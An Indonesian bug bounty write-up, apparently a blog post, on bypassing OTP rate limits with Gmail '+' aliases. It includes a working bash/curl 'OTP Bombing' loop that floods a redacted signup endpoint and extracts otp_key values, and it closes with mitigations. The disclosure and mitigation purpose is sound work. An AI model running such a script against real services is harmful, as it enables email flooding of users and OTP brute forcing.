Belum lama ini di diajak pentest oleh teman untuk ngetest website tempat kerjannya, dan aku lagi males ribet mikirin bug yang perlu waktu lama untuk riset. Nah, aku mau sharing pengalaman iseng-iseng berhadiah pas temen memberi bug bounty program, dan nemu bug cukup langka yaitu Bypass rate limit dengan bantuan aliases email.
๐ง Konsep Dasarnya
Beberapa aplikasi mengirim OTP (One-Time Password) ke email buat verifikasi akun. Tapi mereka kadang cuma ngecek username email tanpa benar-benar nge-rate-limit alamat email utama. Padahal, Gmail punya fitur keren: email aliases.
Contoh:
redacted@gmail.comredacted+1@gmail.comredacted+2@gmail.com
Semuanya masuk ke inbox yang sama. Tapi buat backend yang naif, tiap alias itu dianggap alamat berbeda. BOOM! rate limit pun ke-bypass. Karena simbol “+” tidak dianggap atau invalid untuk email provider seperti Gmail.
๐งช Contoh Exploit Automation
Script sendiri yang cukup buat main-main sama rate limit OTP. Pakai bash dan curl.
#!/bin/bash
BASE_EMAIL="redacted@gmail.com"
URL="https://otp.redacted.com/v1/kodeotp/daftar/email/request"
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/122.0"
echo "[*] Mulai OTP Bombing ke $BASE_EMAIL via alias abuse"
for i in {1..10}; do
EMAIL_ALIAS="redacted+spam$i@gmail.com"
echo "[+] Request OTP untuk $EMAIL_ALIAS"
RESP=$(curl -s -X POST "$URL" \
-H "Content-Type: application/json" \
-H "User-Agent: $UA" \
-d "{\"email\":\"$EMAIL_ALIAS\"}")
echo "$RESP"
OTP_KEY=$(echo "$RESP" | grep -oP '"otp_key":"\K[^"]+')
if [[ -n "$OTP_KEY" ]]; then
echo "[>] โ
otp_key: $OTP_KEY"
else
echo "[!] โ Gagal dapat otp_key"
fi
sleep 1
echo "-----------------------------"
done
๐ฏ Hasilnya?
Bisa request OTP lebih dari limit normal (misal 3โ5 per jam), karena backend-nya cuma validasi string email, bukan akun email real. Lumayan buat brute OTP atau abuse endpoint.
๐ Mitigasi
Kalau kamu dev atau sysadmin, fix-nya gampang:
- Normalisasi email sebelum proses rate limit (contoh: buang semua alias
+). - Rate-limit berdasarkan fingerprint IP/device/user agent atau session ID.
- Tambahkan CAPTCHA atau delay progresif (rate limiting berbasis waktu).
Oleh: William M. Laurent (https://linkedin.com/in/willmet/)


